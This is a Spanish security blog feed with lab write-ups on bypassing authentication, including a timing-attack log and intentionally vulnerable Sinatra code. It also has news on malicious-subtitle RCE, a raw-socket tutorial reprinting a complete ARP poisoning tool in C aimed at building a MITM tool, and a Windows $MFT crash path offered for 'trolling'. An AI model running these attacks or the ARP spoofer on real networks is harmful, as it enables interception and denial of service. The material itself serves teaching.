-0.008615970611572266
p4ssw0r[ = 2.8150429725646973 401
0.005729198455810547
p4ssw0r\ = 2.8159828186035156 401
0.0009398460388183594
p4ssw0r] = 2.8137450218200684 401
-0.0022377967834472656
p4ssw0r^ = 2.8198416233062744 401
0.006096601486206055
p4ssw0r_ = 2.822481870651245 401
0.002640247344970703
p4ssw0r` = 2.8205478191375732 401
-0.001934051513671875
p4ssw0ra = 2.8201541900634766 401
-0.0003936290740966797
p4ssw0rb = 2.816429376602173 401
-0.003724813461303711
p4ssw0rc = 2.8106870651245117 401
-0.005742311477661133
p4ssw0rd = 3.017566204071045 200
0.2068791389465332
letra encontrada

SERVIDOR
require 'sinatra/base'


class AuthenticationExample2 < PBase
 
  set :views, File.join(File.dirname(__FILE__), 'example2', 'views')
 
  CREDS =  "hacker:p4ssw0rd"
 
  def self.path
    "/authentication/example2/"
  end

  helpers do
    def protected!
      unless authorized?
        response['WWW-Authenticate'] = %(Basic realm="Username is hacker, now you need to find the password")
        throw(:halt, [401, "Not authorized\n"])
      end
    end

    def authorized?
      @auth ||=  Rack::Auth::Basic::Request.new(request.env)
      return false unless @auth.provided? && @auth.basic? && @auth.credentials
      creds = @auth.credentials.join(":")
      i = 0
      while CREDS[i] == creds[i] and i < CREDS.size and i < creds.size
        i+=1
        sleep(0.2)
      end

      if i == CREDS.size and CREDS.size == creds.size
        return true
      end
      return false
    end
  end
  get '/' do
    protected!
    erb :index
  end
end

Ejercicio 3:

A continuación simplemente tenemos que manipular la cookie. Si nos autenticamos con el usuario ‘user1’ vemos que se setea el valor ‘user1’:



Por lo que si cambiamos el valor a admin podemos acceder con el correspondiente usuario:




SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'

class AuthenticationExample3 < PBase


  def self.db
    "authentication_example3"
  end

  ActiveRecord::Base.configurations[db] = {
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "pentesterlab",
      :password => "pentesterlab",
      :database => AuthenticationExample3.db
  }

  use Rack::Session::Sequel
  SEED = "MagicS33d_authenticationExample3"

  class User < ActiveRecord::Base
    establish_connection AuthenticationExample3.db
  end



  configure {
    recreate if $dev
    ActiveRecord::Base.establish_connection AuthenticationExample3.db
    unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
      ActiveRecord::Migration.class_eval do
        create_table "#{AuthenticationExample3.db}.users" do |t|
          t.string  :username
          t.string  :password
        end
      end
    end

    User.create(:username => 'user1', :password => Digest::MD5.hexdigest(SEED+"pentesterlab"+SEED))
    User.create(:username => 'admin', :password => Digest::MD5.hexdigest(SEED+"Sup3rS4cr3tP4ssword"+SEED))
  }


  def self.path
    "/authentication/example3/"
  end

  set :views, File.join(File.dirname(__FILE__), 'example3', 'views')
 
  get '/' do
    if params['username'] && params['password']
      @user = User.where(:username => params['username'].to_s,
          :password =>Digest::MD5.hexdigest(SEED+params['password'].to_s+SEED)).first
      if @user
        response.set_cookie("user", @user.username)
        return erb :index
      end
    elsif request.cookies["user"]
      @user = User.find_by_username(request.cookies["user"])
      if @user
        return erb :index
      end
    end
    erb :login
  end
  get "/logout" do
    response.set_cookie("user",nil)
    redirect AuthenticationExample3.path
  end

Ejercicio 4:

El siguiente ejemplo es igual que el anterior sólo que el valor esta cifrado.


Si identificamos el hash veremos que se trata de md5:

   -------------------------------------------------------------------------
 HASH: 24c9e15e52afc47c225b757e7bee1f9d

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

https://hashkiller.co.uk/md5-decrypter.aspx


Así que sólo tenemos que configurar la cookie con el valor ‘admin’ cifrado en md5 y lo tenemos:

http://www.cryptage-md5.com/


SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'


class AuthenticationExample4 < PBase

  def self.db
    "authentication_example4"
  end

  ActiveRecord::Base.configurations[db] = {
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "pentesterlab",
      :password => "pentesterlab",
      :database => AuthenticationExample4.db
  }

  use Rack::Session::Sequel
  SEED = "MagicS33d_authenticationExample4"

  class User < ActiveRecord::Base
    establish_connection AuthenticationExample4.db
  end


  configure {
    recreate() if $dev
    ActiveRecord::Base.establish_connection "authentication_example4"
    unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
      ActiveRecord::Migration.class_eval do
        create_table "#{AuthenticationExample4.db}.users" do |t|
          t.string  :username
          t.string  :userhash
          t.string  :password
        end
      end
    end

    User.create(:username => 'user1', :userhash => Digest::MD5.hexdigest('user1'),  :password => Digest::MD5.hexdigest(SEED+"pentesterlab"+SEED))
    User.create(:username => 'admin', :userhash => Digest::MD5.hexdigest('admin'), :password => Digest::MD5.hexdigest(SEED+"Sup3rS4cr3tP4ssword"+SEED))
  }


  def self.path
    "/authentication/example4/"
  end

  set :views, File.join(File.dirname(__FILE__), 'example4', 'views')
 
  get '/' do
    if params['username'] && params['password']
      @user = User.where(:username => params['username'].to_s,
          :password =>Digest::MD5.hexdigest(SEED+params['password'].to_s+SEED)).first
      if @user
        response.set_cookie("user", Digest::MD5.hexdigest(@user.username))
        return erb :index
      end
    elsif request.cookies["user"]
      @user = User.find_by_userhash(request.cookies["user"])
      if @user
        return erb :index
      end
    end
    erb :login
  end
  get "/logout" do
    response.set_cookie("user",nil)
    redirect AuthenticationExample4.path
  end

Ejercicio 5:

En este ejercicio apreciamos que en la pantalla de login además nos aparece la opción de registrar un nuevo usuario:

Si intentamos crear el usuario admin, veremos que el usuario ya existe y no será posible crearlo:

Sin embargo existe un fallo y parece que podemos crear el usuario "admin" poniendo una letra en mayúsculas:


que luego a la hora de validar no tiene en cuenta (case insensitive):


SERVIDOR

require 'sinatra/base'
require 'active_record'
require 'digest/md5'
require 'rack-session-sequel'

class Authenticationexample5 < PBase
  use Rack::Session::Sequel
  def self.db
    "authentication_example5"
  end

  ActiveRecord::Base.configurations[db] = {
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "pentesterlab",
      :password => "pentesterlab",
      :database => Authenticationexample5.db
  }

  use Rack::Session::Sequel
  SEED = "MagicS33d_authenticationexample5"

  class User < ActiveRecord::Base
    establish_connection Authenticationexample5.db
  end


  configure {

    recreate() if $dev
    ActiveRecord::Base.establish_connection "authentication_example5"
    unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
      ActiveRecord::Migration.class_eval do
        create_table "#{Authenticationexample5.db}.users" do |t|
          t.string  :username
          t.string  :password
        end
      end
    end

    User.create(:username => 'admin', :password => Digest::MD5.hexdigest(SEED+"Sup3rS4cr3tP4ssword"+SEED))
  }


  def self.path
    "/authentication/example5/"
  end

  set :views, File.join(File.dirname(__FILE__), 'example5', 'views')
 
  get '/' do
    if params['username'] && params['password']
      @user = User.where(:username => params['username'].to_s,
          :password =>Digest::MD5.hexdigest(SEED+params['password'].to_s+SEED)).first
      if @user
        session['user'] = @user.id 
        return erb :index
      end
    elsif session['user']
      @user = User.find_by_username(session['user'])
      if @user
        return erb :index
      end
    end
    erb :login
  end
  get  '/signup' do
    erb :signup
  end

  get '/submit' do
    users = User.all
    if users.select{|x| x.username == params[:username] }.size > 0

      @message = "Error:  user already exists"
      erb :signup
    else
      @user = User.create(:username => params[:username],
        :password => Digest::MD5.hexdigest(SEED+params[:password]+SEED))
      session['user'] = @user.username
      redirect Authenticationexample5.path
    end  
  end
  get "/logout" do
    session.clear
    redirect Authenticationexample5.path
  end

Ejercicio 6:

Esta vez, el desarrollador corrijió el anterior problema haciendo que la validación distinguiera entre mayúsculas y minúsculas, es decir, que fuera ‘case sensitive'. Sin embargo todavía olvidó que MySQL tiene en cuenta los espacios pero su página de registro no:



SERVIDOR
require 'sinatra/base'
require 'active_record'
require 'digest/md5'
require 'rack-session-sequel'

class Authenticationexample6 < PBase
  use Rack::Session::Sequel
  def self.db
    "authentication_example6"
  end

  ActiveRecord::Base.configurations[db] = {
      :adapter  => "mysql2",
      :host     => "localhost",
      :username => "pentesterlab",
      :password => "pentesterlab",
      :database => Authenticationexample6.db
  }

  use Rack::Session::Sequel
  SEED = "MagicS33d_authenticationexample6"

  class User < ActiveRecord::Base
    establish_connection Authenticationexample6.db
  end


  configure {

    recreate() if $dev
    ActiveRecord::Base.establish_connection "authentication_example6"
    unless ActiveRecord::Base.connection.table_exists?("#{db}.users")
      ActiveRecord::Migration.class_eval do
        create_table "#{Authenticationexample6.db}.users" do |t|
          t.string  :username
          t.string  :password
        end
      end
    end

    User.create(:username => 'admin', :password => Digest::MD5.hexdigest(SEED+"Sup3rS4cr3tP4ssword"+SEED))
  }


  def self.path
    "/authentication/example6/"
  end

  set :views, File.join(File.dirname(__FILE__), 'example6', 'views')
 
  get '/' do
    if params['username'] && params['password']
      @user = User.where(:username => params['username'].to_s,
          :password =>Digest::MD5.hexdigest(SEED+params['password'].to_s+SEED)).first
      if @user
        session['user'] = @user.id 
        return erb :index
      end
    elsif session['user']
      @user = User.find_by_username(session['user'])
      if @user
        return erb :index
      end
    end
    erb :login
  end
  get  '/signup' do
    erb :signup
  end

  get '/submit' do
    users = User.all
    if users.select{|x| x.username.casecmp(params[:username]) == 0 }.size > 0

      @message = "Error:  user already exists"
      erb :signup
    else
      @user = User.create(:username => params[:username],
        :password => Digest::MD5.hexdigest(SEED+params[:password]+SEED))
      session['user'] = @user.username
      redirect Authenticationexample6.path
    end  
  end
  get "/logout" do
    session.clear
    redirect Authenticationexample6.path
  end
end

Y hasta aquí los ejercicios de autenticación. En la siguiente entrada esta serie veremos como evadir captchas...

Ejecución remota de comandos mediante ¡subtítulos maliciosos!

$
0
0
Los investigadores de Check Point han revelado un nuevo vector de ataque que amenaza a millones de usuarios que utilizan reproductores de medios tan populares como VLC, Kodi (XBMC), Popcorn Time y Stremio. Se trata de archivos de subtítulos maliciosos para películas y series que pueden permitir a un atacante tomar el control completo de cualquier dispositivo que lo cargue en las plataformas vulnerables.

"La cadena de suministro de subtítulos es compleja, con más de 25 formatos de subtítulos diferentes, todos con características y capacidades únicas. Este ecosistema fragmentado, junto con una seguridad limitada, significa que hay múltiples vulnerabilidades que podrían ser explotadas, convirtiéndolo en un objetivo muy atractivo para los atacantes ", dijo Omri Herscovici, líder del equipo de investigación de la vulnerabilidad de Check Point.

Demo

El siguiente video es una prueba de concepto cómo se llevan a cabo este tipo de ataques:

Los subtítulos para películas o programas de TV son creados por una amplia gama de autores y subidos a repositorios online compartidos, como OpenSubtitles.org, donde están indexados y clasificados. Los investigadores también demostraron que manipulando el algoritmo de clasificación de los repositorios, los subtítulos maliciosos pueden ser descargados automáticamente por el reproductor de medios, lo que permite a un hacker tomar el control completo de toda la cadena de suministro de subtítulos sin la interacción del usuario.

¿Cuántos usuarios se ven afectados?

VLC tiene más de 170 millones de descargas de su última versión, lanzada el 5 de junio de 2016. Kodi (XBMC) ha alcanzado más de 10 millones de usuarios únicos por día, y casi 40 millones de usuarios únicos por mes. No existen estimaciones actuales para el uso de Popcorn Time, pero se estima que son decenas de millones.

Check Point tiene razones para creer que existen vulnerabilidades similares en otros reproductores multimedia de streaming.

¿Cuales son los productos vulnerables confirmados hasta ahora?

Esta es una lista de los programas junto a las versiones vulnerables. Si dispones de una en tu ordenador u otros dispositivos, lo mejor es que la desinstales o actualices:
  •     PopcornTime – https://ci.popcorntime.sh/job/Popcorn-Time-Desktop/249
  •     Kodi – https://github.com/xbmc/xbmc/pull/12024)
  •     VLC – http://get.videolan.org/vlc/2.2.5.1/win32/vlc-2.2.5.1-win32.exe
  •     Stremio https://megahexandword.com/rnw_H8hGnAaWDkyg
¿Y las vulnerabilidades?

Los desarrolladores de VLC fueron contactados en abril y clasificaron las vulnerabilidades en cuatro. Cada una de ellas (CVE-2017-8310, CVE-2017-8311, CVE-2017-8312 y CVE-2017-8313) ya ha sido parcheadas. Se trata de desbordamiento de pila que permite ejecución remota de comandos y todavía no se han publicado los exploits correspondientes.

¿Qué puedes hacer?

Desde que se revelaron las vulnerabilidades, las cuatro compañías han solucionado los problemas reportados. Stremio y VLC también han lanzado nuevas versiones de software que incorporan esta corrección.

Fuentes:

- Hacked in Translation – from Subtitles to Complete Takeover
- Hackers can use subtitles to take over millions of devices running VLC, Kodi, Popcorn Time and Stremio
- Hackers pueden usar subtítulos en Kodi y VLC para obtener acceso a tu PC y smartphone
- ¡Cuidado! Esconden virus en los subtítulos para Kodi, VLC o Popcorn Time
- Este virus toma el control de tu PC con subtítulos en VLC y Kodi
- Malicious Subtitles Allow Hackers to Commandeer Devices Running Streaming Software
- Subtitle Hack Leaves 200 Million Vulnerable to Remote Code Execution
- Be careful! They can hack you through subtitles while you are watching movies

En crudo y sin censura RAW SOCKETS I (en C)

$
0
0
Aprovechando que tengo que guardar reposo por un mini accidente laboral (tres puntos... ya sólo me quedan dos para el perro piloto) y no tengo nada mucho mejor que hacer, he decidido ponerme con algo que llevaba postponiendo un tiempo (permitirme la redundancia) ...salsear un poquito con los  SOCKETS en C y ya de paso escribir una entrada en el blog... que me prodigo últimamente bien poco....y no hay que perder las buenas costumbres.

A lo largo de esta serie de entradas intentaré mostrar para qué podemos utilizar la programación de sockets (sobre todo los RAW)  siempre mirando desde un prisma....digamos que oscuro....

Soy consciente que no es un tema fácil de tratar, y mucho menos hacer que la lectura sea liviana a la par que amena...

Para seguir estos posts es necesario tener unos conocimientos mínimos de redes, un poquito de C, así como disponer de una máquina linux, puesto que este tostón está orientado a sistemas Linux o Unix, como ya es común en mis entradas.

No pretendo desanimar a nadie, ya sea por lo de los conocimientos o por tener otro S.O... en ambos casos es facil (mas o menos) seguir las entradas. Es más, os animo a ello.

También quiero dejar claro que que vamos a abordar el tema desde un punto de vista práctico sin entrar mucho en detalles técnicos, si no podría ser una entrada eterna y tampoco pretendo explicar el modelo OSI (de lectura muy recomendada), a muchos os aburriría, así que lo veremos de soslayo.

¿Por qué C? la respuesta es sencilla: si aprendes en C te será sencillo hacerlo en java, python o C++... Prueba al revés X-O. (respuesta de un profesor).

Es verdad que en python sería más sencillo (utilizando alguno de sus frameworks), imposible en muchos casos con java y más o menos parecido en c++; pero desde el punto de vista pedagógico te pierdes muchos fundamentos valiosos.

Desde mi punto de vista ahora que estoy empezando con C, es simple, elegante y endiabladamente rápido, compacto y eficiente..y muy Oldschool, sin menospreciar en absoluto a Python (pero hoy toca C). 

¿Qué es un Socket? pues como dice la palabra es un enchufe!!...

Socket designa un concepto abstracto por el cual dos programas (posiblemente situados en computadoras distintas) pueden intercambiar cualquier flujo de datos, generalmente de manera fiable y ordenada.

El término socket es también usado como el nombre de una interfaz de programación de aplicaciones (API) para la familia de protocolos de Internet TCP/IP, provista usualmente por el sistema operativo.

Segun esta interfaz tenemos tres grupos de sockets:

Socket de flujo (SOCK_STREAM): Define un servicio orientado a conexión confiable y bidireccional. Los datos se envían sin errores o duplicación y se reciben en el mismo orden de como fueron enviados. Podríamos compararlo con una llamada de teléfono.. recibir y mandar la información en su tiempo y de manera bidireccional es crítico para la comprensión del mensaje, de esto se encarga TCP...Ej dns, tftp, bootp, etc.

Socket de datagrama (SOCK_DGRAM): Define un servicio no orientado a conexión (sobre UDP por ejemplo). Los datagramas se envían como paquetes independientes. El servicio no proporciona garantías; los datos se pueden perder o duplicar y los datagramas pueden llegar fuera de orden. Soporta la bidirecionalidad pero no es su fuerte. Simplificando (demasiado) es similar a enviar una carta.

Socket raw (SOCK_RAW): Estos sockets nos permiten el acceso a los protocolos de comunicaciones,con la posibilidad de hacer uso o no de protocolos de capa 3 (nivel de red) y/o 4 (nivel de transporte), y por lo tanto dándonos el acceso a los protocolos directamente y a la información que recibe en ellos. El uso de sockets de este tipo nos va a permitir la implementación de nuevos protocolos, y por que no decirlo, la modificación de los ya existentes. Suena interesante no?.

Con esta verborrea trato de ubicar un poco al lector,pues después de lo dicho nos vamos a centrar en eleste último Socket raw o en crudo este tipo de socket trabaja sin estar ligado a un protocolo de comunicación en concreto, es decir, podemos darle el sabor que necesitemos. Lo veremos más a delante.

Peculiaridades de Socket raw (SOCK_RAW)

- No incluye por defecto TCP; esto se traduce en perdida de fiabilidad.

- No tenemos que especificar puerto en la comunicación.....O_o..... ya que es el propio kernel  que recibe el paquete crudo el encargado de pasar la información de  a todos los sockets que estén escuchando el mismo protocolo, no hay conexiones de red virtuales como tal, es decir, no hay puertos.


- Los campos del Header los deberemos rellenar manualmente, al contrario que si trabajásemos con otro tipo de socket; el kernel no rellena las cabeceras.

- Carece de un estándar.

- Para usar sockets de tipo raw en Unix es necesario contar con privilegios de root.

- hay dos tipos básicos de socket raw, y que la decisión de cuál utilizar depende totalmente del objetivo y requisitos de la aplicación que se desea:

 . Familia AF_PACKET: los sockets raw de la familia AF_PACKET son los de más bajo nivel y permiten leer y escribir cabeceras de protocolos de cualquier capa.

 . Familia AF_INET: los sockets raw AF_INET delegan al sistema operativo la construcción de las cabeceras de enlace y permiten una manipulación «compartida» de las cabeceras de red.

 En breve veremos en detalle la utilidad y funcionamiento de ambas familias.

- Y alguna más que seguro que escapa a mi intelecto (por culpa de algún gen recesivo).

¿Qué podemos hacer con raw socket?

Con los sockets SOCK_DGRAM y SOCK_DGRAM sólo puedes decidir el contenido del PAYLOAD TCP o UDP pero no puedes leer ni escribir nada de lo que hay debajo: cabeceras IP, ICMP, ARP, Ethernet, etc. 

Esto nos permitirá desde diagnoxticar ciertos aspectos de la red que de otro modo sería difícil, componer Datagramas a muy bajo nivel, y construir nuestras propias herramientas a medida de nuestros caprichos.

En definitiva nos va a hacer conocer mejor los protocolos y su seguridad.

Bueno ya para finalizar esta entrada (si no menuda chappa).. y para abrir boca os voy a dejar un codigo fuente de Victor Ramos Mello (que encontre en su Git, el cual me pareció bueno como ejemplo) en el que hace uso de raw socket para manejar el protocolo ARP.

No atorarse!! ya lo  examinaremos paso por paso, y  desarrollaremos más para conseguir una herramienta MITM en próximas entradas para ir ejercitando la mente.

Simple arp poison:

//arp-poison by m0nad
//tested in Linux 3.5.0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <netinet/if_ether.h>
#include <signal.h>

#define IP4LEN 4
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)

int sock;
void
usage()
{
puts("usage:\t./arp-poison <interface> <gateway ip> <mac addr>");
puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
exit(1);
}

void
cleanup()
{
close(sock);
exit(0);
}

int
main(int argc, char ** argv)
{
char packet[PKTLEN];
struct ether_header * eth = (struct ether_header *) packet;
struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header));
struct sockaddr_ll device;

if (argc < 4) {
usage();
}

sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
if (sock < 0)
perror("socket"), exit(1);

signal(SIGINT, cleanup);

sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);

sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0],
(int *) &arp->arp_spa[1],
(int *) &arp->arp_spa[2],
(int *) &arp->arp_spa[3]);

memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast
memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);
eth->ether_type = htons(ETH_P_ARP);

arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
arp->ea_hdr.ar_pro = htons(ETH_P_IP);
arp->ea_hdr.ar_hln = ETH_ALEN;
arp->ea_hdr.ar_pln = IP4LEN;
arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
memset(arp->arp_tha, 0xff, ETH_ALEN);
memset(arp->arp_tpa, 0x00, IP4LEN);

memset(&device, 0, sizeof(device));
device.sll_ifindex = if_nametoindex(argv[1]);
device.sll_family = AF_PACKET;
memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
device.sll_halen = htons(ETH_ALEN);

puts("press ctrl+c to exit.");
while (1) {
printf("%s: %s is at %s\n", argv[1], argv[2], argv[3]);
sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));
sleep(2);
}
return 0;
}



para compilarlo:
#gcc arp-poison.c -o arp-poison

un saludo! hasta más ver...

Windows 7 y 8.1 se bloquearán con sólo intentar abrir c:\$MFT\123

$
0
0
Desde su creación, Windows tiene varios nombres de archivo que son "especiales" porque no corresponden a ningún archivo real, sino que representan dispositivos de hardware. Se puede acceder a estos nombres de archivo especiales desde cualquier ubicación del sistema de archivos, aunque realmente no existan en el disco. Sin embargo, existen algunos errores en la forma que manejan estos archivos que pueden hacer que el sistema quede bloqueado e incluso colgado...

Windows 95/98 manejaba bien los accesos al dispositivo de la consola (con), es decir al teclado y a la pantalla, pero los problemas surgían cuando el nombre de archivo aparecía dos veces, por ejemplo c:\con\con. En ese caso... pantallazo azúl de la muerte... y risas... Por supuesto, si se hacía referencia a ese archivo desde una página web, siguiendo con el ejemplo file:///c:/con/con, la máquina "crasheaba" también como los ángeles, sólo accediendo a la página malintencionada.

Y como a la Compañía de Redmond no le gusta perder las malas costumbres, se ha descubierto recientemente que Windows 7 y 8.1 (Windows 10 parece que se salva) también nos deleita con bonitos bloqueos y pantallazos azules de la muerte (o BSOD) al manejar nombres de archivo especiales. Esta vez, el nombre de archivo especial es $MFT.


$MFT es el nombre dado a uno de los archivos de metadatos especiales que son utilizados por el sistema de archivos NTFS de Windows. El archivo existe en el directorio raíz de cada volumen NTFS, pero el controlador NTFS lo maneja de manera especial y está oculto e inaccesible a la mayoría del software. Los intentos de abrir el archivo normalmente se bloquean, pero de una manera similar a los fallos de Windows 9x, si se utiliza el nombre de archivo como si fuera un nombre de directorio, por ejemplo intentando abrir el archivo c:\$MFT\123, el driver NTFS bloquea el archivo y nunca lo libera. Cada operación posterior queda a la espera de que se libere y a continuación se bloquean todos y cada uno de los demás intentos de acceso al sistema de archivos, por lo que cada programa comenzará a colgarse, haciendo que la máquina sea inutilizable hasta que se reinicie.

Y, como sucedió hace casi 20 años, las páginas web que usan el nombre de archivo incorrecto (por ejemplo como el source de una imagen) provocan el error y hacen que la máquina deje de responder. Dependiendo de lo que la máquina está haciendo en ese momento podremos dsifrutar o no de un bonito pantallazo azul. De cualquier forma, se necesitará reiniciar el equipo para recuperarlo. Algunos exploradores bloquearán los intentos de acceso a estos recursos locales, pero Internet Explorer, por ejemplo, intentará acceder al archivo incorrecto.

De momento no se ha conseguido hacerlo al revés, es decir que se caiga el servidor enviándole la solicitud de un nombre de archivo incorrecto, pero tiempo al tiempo... De momento el tio Bill ya ha sido informado aunque el problema todavía no ha sido parcheado.

Enjoy trolling!

En crudo y sin censura RAW SOCKETS II (en C)

$
0
0
¡Qué tal! Ya estoy aquí con la segunda entrada de esta serie, que me da a mi que va a ser larga... ;D
Bueno como prometí en la entrada anterior vamos a ver el ejemplo que os dejé, vamos a ver las partes importantes de Sockets Raw, y añadiremos o modificaremos el código para conseguir un ejemplo más versátil...

Al lector: si incurro en cualquier error a lo largo de estos post agradecería vuestras correcciones.

Como primer ejercicio quiero que le echéis un vistazo más a fondo al código que está debajo de este párrafo, y leáis los comentarios donde a grandes rasgos explico el funcionamiento del ejemplo que os dejé la semana pasada, si no entendéis nada (nadie dijo que programar para sockets fuera a ser fácil), no agobiarse, basta con echarle un ojo para que cuando explique la teoría os suene por donde cae en el código:

#include <stdio.h>//libreria estandar
#include <stdlib.h>//libreria estandar
#include <unistd.h>// close(sock)
#include <string.h>//biblioteca standar
#include <netinet/if_ether.h> //estructuras ethernet arp headers
#include <net/if.h>// sockets interfaces locales
#include <sys/socket.h> // encabezado de sockets principales
#include <arpa/inet.h>//definiciones de las operaciones de Internet
#include <netpacket/packet.h>// struct sockaddr_ll
#include <net/ethernet.h>//id protos ethernet
#include <signal.h> //signal(SIGINT, cleanup);

#define IP4LEN 4 //define la
#define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp)
int sock;

void usage() { //funcion para mostrar el help del programa por pantalla
puts("usage:\t./arp-poison <interface> <gateway ip> <mac addr>");
puts("ex:\t./arp-poison eth0 10.1.1.1 aa:bb:cc:dd:ee:ff");
exit(1);
}

void cleanup() { //utilizaremos esta funcion para cerrar el socket
close(sock); //mediante la funcion close() de <unistd.h>
exit(0); //la funcion no retornara valor alguno
}

main(int argc, char ** argv) {
char packet[PKTLEN]; //definimos la longitud del paquete a la suma del la cabecera ETHERNET+ARP
struct ether_header * eth = (struct ether_header *) packet; //declaramos la variable eth y la apuntamos
//a struct ether_headder del paquete (<netinet/if_ether.h>)

struct ether_arp * arp = (struct ether_arp *) (packet + sizeof (struct ether_header)); //igual que el anteriot pero
//ether_arp para poder meter
//mas tarde valores.
struct sockaddr_ll device; //<netpacket/packet.h> hacemos que int sll_ifindex;apunte a nuestra variable device

if (argc < 4) {//si los argumento pasados para lanzar el programa
usage();
}//son inferiores a 4 lanzamos la funcion usage()mostrando asi la ayuda

sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); //declaramos el socket con su familia,
//tipo raw,protocolo. htons()convierte el entero corto sin signo hostshort desde el orden de bytes del host al de la red.

if (sock < 0) //si no se crea el shocket llamamos a exit()
perror("socket"), exit(1);
signal(SIGINT, cleanup);
//RELLENAMOS LAS ESTRUCTURAS
//recogemos la mac del argumento 3 (hexadecimal)
//y se l pasamos a la structura ARP concretamente arp_sha[ETH_ALEN];/* sender hardware address */
// de la libreria <netinet/if_ether.h> sin signo
sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0],
(unsigned int *) &arp->arp_sha[1],
(unsigned int *) &arp->arp_sha[2],
(unsigned int *) &arp->arp_sha[3],
(unsigned int *) &arp->arp_sha[4],
(unsigned int *) &arp->arp_sha[5]);

//recogemos la ip pasada en el argumento 2 (decimal) a arp_spa <netinet/if_ether.h> entero
sscanf(argv[2], "%d.%d.%d.%d",(int *) &arp->arp_spa[0],
(int *) &arp->arp_spa[1],
(int *) &arp->arp_spa[2],
(int *) &arp->arp_spa[3]);
///////
memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast destination eth address */>/a la structura ethernet
memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN);//* "source ether addr" a structura etherne y a" hardware address" struc_arp
eth->ether_type = htons(ETH_P_ARP);
//pasamos el al heather ethernet el valor ETH_P_ARR
//de if_ether.h " ETH_P_ARP 0x080 Address Resolution packet */"
arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER);
arp->ea_hdr.ar_pro = htons(ETH_P_IP);
arp->ea_hdr.ar_hln = ETH_ALEN;
arp->ea_hdr.ar_pln = IP4LEN;
arp->ea_hdr.ar_op = htons(ARPOP_REPLY);
memset(arp->arp_tha, 0xff, ETH_ALEN);
memset(arp->arp_tpa, 0x00, IP4LEN);
memset(&device, 0, sizeof(device));
device.sll_ifindex = if_nametoindex(argv[1]);
device.sll_family = AF_PACKET;
memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN);
device.sll_halen = htons(ETH_ALEN);

puts("press ctrl+c to exit.");
while (1) {
printf("%s: %s is at %s\n", argv[1], argv[2], argv[3]);
sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device));//mandamos los paquetes
sleep(2);
}
return 0;
}

Se que prometí no ponerme en rollo técnico, pero para empezar con sockets al menos nos deben sonar un par de conceptos críticos... intentaré ser lo mas simple y conciso que pueda...

Encapsulación de datos:

"En redes de ordenadores, encapsulación es un método de diseño modular de protocolos de comunicación en el cual las funciones lógicas de una red son abstraídas ocultando información a las capas de nivel superior".

En cristiano: Las redes se trabajan en capas, donde cada una de ellas es responsable de una función específica dentro del proceso de envío/recepción de datos desde un host a otro. Normalmente se trabaja con el modelo OSI y TCP/IP.


Para operar dentro de estas capas existen diferentes protocolos. Y para ir de una capa a otra necesitamos encapsular los paquetes hasta hacer llegar nuestro paquete al sitio deseado.


Un buen símil de esto es mandar una carta a un amigo que vive en otro continente; escribes la carta, luego va a el cartero, después al camión, que la lleva al avión...
Cuando llegue tu carta para que la coja tu amigo debe salir del avión, ir a otro camión y cogerla otro cartero que se la entregará a tu amigo.

En el proceso de viaje del paquete por las distintas capas del modelo TCP, los encargados de transportarlas son los protocolos y estos necesitan de unas cabeceras donde se le indique que transportan y donde lo transportan (entre otros datos).

En el caso de SOCK_DGRAM y SOCK_STREAM este trabajo lo lleva a cabo el Kernel, pero amigos, en el caso que nos ocupa SOCK_RAW y como vimos en la entrada anterior"Los campos del Header los deberemos rellenar manualmente, al contrario que si trabajásemos con otro tipo de socket; el kernel no rellena las cabeceras".

Para hacer esto cómodamente utilizaremos las Estructuras.

¿QUÉ SON LAS ESTRUCTURAS?

Resumiéndolo un poco: "Las estructuras son colecciones de variables relacionadas bajo un nombre. Las estructuras pueden contener variables de muchos tipos diferentes de datos a diferencia de los arreglos que contienen únicamente elementos de un mismo tipo de datos".

Para ver esto mucho mas claro vamos a recurrir a nuestro ejemplo examinando un fragmento donde rellenamos las estructura ya programada que utilizamos de las librerías incluidas en el código:

En nuestro ejemplo, vamos a mandar una trama ARP por la capa de enlace,
el encargado de esto es el protocolo ETHERNET. Para conseguir esto necesitamos la estructura de los Headers ethernet, y la estructura del  paquete arp.

Aquí apuntamos como variable eth a la estructura que contiene los headers ethernet en la librería <ethernet.h>

 y ahora con:


Le decimos el tipo de paquete que va a ser ADDRESS RESOLUTION PACKET.
